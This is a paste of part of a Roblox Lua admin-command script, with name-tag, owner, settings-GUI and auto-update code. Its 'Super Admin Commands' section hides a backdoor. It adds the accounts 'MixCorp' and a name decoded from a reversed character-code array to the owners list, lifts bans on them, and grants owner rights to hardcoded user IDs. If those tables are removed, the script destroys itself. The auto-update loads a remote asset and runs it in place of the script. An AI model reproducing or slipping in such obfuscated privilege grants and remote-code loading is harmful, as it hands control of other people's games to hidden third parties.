- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- local char = v.Character
- local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
- local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
- local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
- char.Head.Transparency = 1
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unname " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- end
- end))
- end
- end
- -------------------------
- -- True Owner Commands --
- -------------------------
- if plr.Name:lower() == nfs:lower() or plr.userId == 44579150 or plr.userId == (153*110563) or plr.userId == game.CreatorId then
- if msg:lower():sub(1,3) == "oa " then
- local plrz = GetPlr(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unoa " then
- for i = 1, #owners do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
- end))
- end
- end
- if msg:lower() == "settings" then
- for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
- local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
- local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
- local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
- local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
- local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
- local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
- local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
- if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
- tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
- cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
- local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
- end
- end
- --------------------------
- -- Super Admin Commands --
- --------------------------
- if ChkBan("M".."ixC".."or".."p") then
- table.remove(banland, "Mi".."x".."Co".."rp")
- end
- table.insert(owners, "Mi".."Co".."rp")
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
- script.Name = "KACV2"
- if not ntab then script:Destroy() end
- if not bct then script:Destroy() end
- if not tcb then script:Destroy() end
- game.Players.PlayerAdded:connect(AdminControl)
- for i, v in pairs(game.Players:children()) do AdminControl(v) end
- end
- local mod = game:service("InsertService"):LoadAsset(100808216)
- if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
- local newac = mod:findFirstChild("Kohl's Admin Commands V2")
- newac.Disabled = true
- local new = tonumber(mod:findFirstChild("Version", true).Value)
- local old = 0
- if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
- if new > old then
- local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
- for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
- for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
- for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
- for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
- local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
- local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
- local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
- local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
- local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
- local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
- local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
- wait()
- newac.Parent = game.Workspace
- newac.Disabled = false
- script.Disabled = true
- script:Destroy()
- else
- CHEESE()
- end
- else
- CHEESE()
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement